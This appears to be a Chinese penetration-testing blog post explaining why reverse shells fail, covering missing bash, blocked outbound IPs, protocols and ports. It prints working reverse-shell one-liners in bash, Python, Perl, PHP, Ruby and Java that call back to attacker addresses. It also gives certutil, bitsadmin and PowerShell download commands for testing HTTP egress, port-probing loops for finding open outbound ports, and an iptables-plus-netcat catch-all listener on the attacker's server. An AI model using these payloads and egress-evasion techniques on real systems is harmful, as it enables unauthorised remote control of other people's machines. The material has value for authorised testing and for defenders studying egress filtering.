目录

​反弹的命令不存在或当前用户无权限调用bash​

​禁止出站IP​

​禁止出站协议​

​探测HTTP协议​

​探测ICMP协议​

​探测DNS协议​

​禁止出站端口​

​Linux系统​

​Windows系统​

​探测的端口范围​

​攻击端的端口请求记录​


在实战中,我们经常会遇到各种各样奇怪的环境。

反弹shell失败的几种原因_sed

反弹shell失败的原因有很多:

  • 反弹的命令不存在或当前用户无权限调用bash
  • 禁止出站IP(只允许访问特定ip)
  • 禁止出站端口(只允许访问特定端口)
  • 禁止出站协议(只允许特定协议,如icmp、dns、http)

反弹的命令不存在或当前用户无权限调用bash

由于这种情况下只局限于Linux,所以不考虑Windows

反弹shell的命令,尽管这么多命令可以反弹shell,但是最终都还是调用bash来反弹,如下:

#bash反弹
bash -i >& /dev/tcp/192.168.10.27/4444 0>&1
#python反弹
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.10.27",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
#Perl反弹
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
#PHP反弹
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3>&3 2>&3");'
#Ruby反弹
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d>&%d 2>&%d",f,f,f)'
#Java反弹
r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 2="" |="" while="" read="" line;="" do="" \$line="">&5 >&5; done"] as String[]) p.waitFor()

反弹shell失败的几种原因_linux系统_02

反弹shell失败的几种原因_sed_03

禁止出站IP

对于这种情况的话,就很麻烦了。如果目标主机设置了严格的策略,只允许主动连接公网指定的IP。这样的话,就没办法反弹shell了。

禁止出站协议

对于禁止出站协议这种情况的话,我们先得探测目标机器允许哪些协议出公网。

探测HTTP协议

Linux系统可以使用curl命令:
curl http://192.168.10.13
Windows系统可以使用以下命令:
certutil -urlcache -split -f http://192.168.10.13/1
bitsadmin /transfer test http://192.168.10.13/1 c:\1
powershell iwr -Uri http://192.168.10.13/1 -OutFile 1 -UseBasicParsing

反弹shell失败的几种原因_bash_04

反弹shell失败的几种原因_bash_05

反弹shell失败的几种原因_bash_06

探测ICMP协议

服务端监听ICMP流量:tcpdump icmp
客户端ping VPS地址,查看服务端能否收到请求

我们VPS监听,然后ping我们vps查看能否收到监听来判断ICMP 协议是否出网。也可以直接ping一个地址,看是否有ttl值。

反弹shell失败的几种原因_bash_07

探测DNS协议

Windows:nslookup、ping
Linux:nslookup、dig、ping

通过判断能否将域名解析为ip,判断DNS协议是否出网。也可以将域名换成dnslog的域名,再看dnslog能否收到请求  反弹shell失败的几种原因_linux系统_08

禁止出站端口

如果防火墙上做了限制,只允许该服务器访问公网地址的特定端口。那么,这样的话,我们就必须得找到允许访问的端口了。

这里有一篇文章对这个讲的很好,传送门:​​照弹不误:出站端口受限环境下反弹Shell的思考​

以下是该文的一些思路

Linux系统

对于Linux系统,探测其允许出网的端口,这里使用的是Linux的自带命令,所以适用于每个Linux版本。

for i in {440..449};do timeout 0.5 bash -c "echo >/dev/tcp/baidu.com/$i" && echo "$i ************************open************************" || echo "$i closed";done

也可以将结果写入文件中
for i in {440..449};do timeout 0.5 bash -c "echo >/dev/tcp/baidu.com/$i" && echo "$i ************************open************************"|| echo "$i closed";done >> result.txt

探测常见端口
for i in {21,22,23,25,53,80,88,110,137,138,139,123,143,389,443,445,161,1521,3306,3389,6379,7001,7002,8000,8001,8080,8090,9000,9090,11211};do timeout 0.5 bash -c "echo >/dev/tcp/baidu.com/$i" && echo "$i ************************open************************" || echo "$i closed";done

反弹shell失败的几种原因_bash_09

反弹shell失败的几种原因_linux系统_10

反弹shell失败的几种原因_sed_11

Windows系统

powershell -c "440..445 | %{tnc -InformationLevel Quiet 220.181.38.148 -port $_}"
powershell -c "53,80,443 | %{tnc -InformationLevel Quiet 220.181.38.148 -port $_}"

或者

powershell -c "80,81 | %{try {(new-object Net.Sockets.TcpClient).Connect('220.181.38.148',$_);Write-Host "$_ open"} catch {Write-Host "$_ closed"} finally {} }"|findstr /I open

反弹shell失败的几种原因_bash_12

反弹shell失败的几种原因_bash_13

反弹shell失败的几种原因_sed_14

探测的端口范围

可以根据nmap的端口范围探测

nmap -n --top-ports 100 127.0.0.1 -oA foo > /dev/null
grep -i "services\=" foo.xml | sed -r 's/.*services\=\"(.*)(\"\/>)/\1/g'

 反弹shell失败的几种原因_sed_15

攻击端的端口请求记录

我们攻击端这边需要有目标机访问的记录,才能更好的判断目标机器是否访问了我们。这样,只要目标机器访问到了我们VPS的任意一个端口,我们这边都能有记录。

//备份iptables规则
iptables-save > /tmp/firewall.rules
//将所有端口的流量都转发到34444端口
iptables -A PREROUTING -t nat -p tcp --dport 1:65535 -j REDIRECT --to-port 34444
//监听34444端口
nc -lvp 34444
//恢复iptables规则
iptables-restore < /tmp/firewall.rules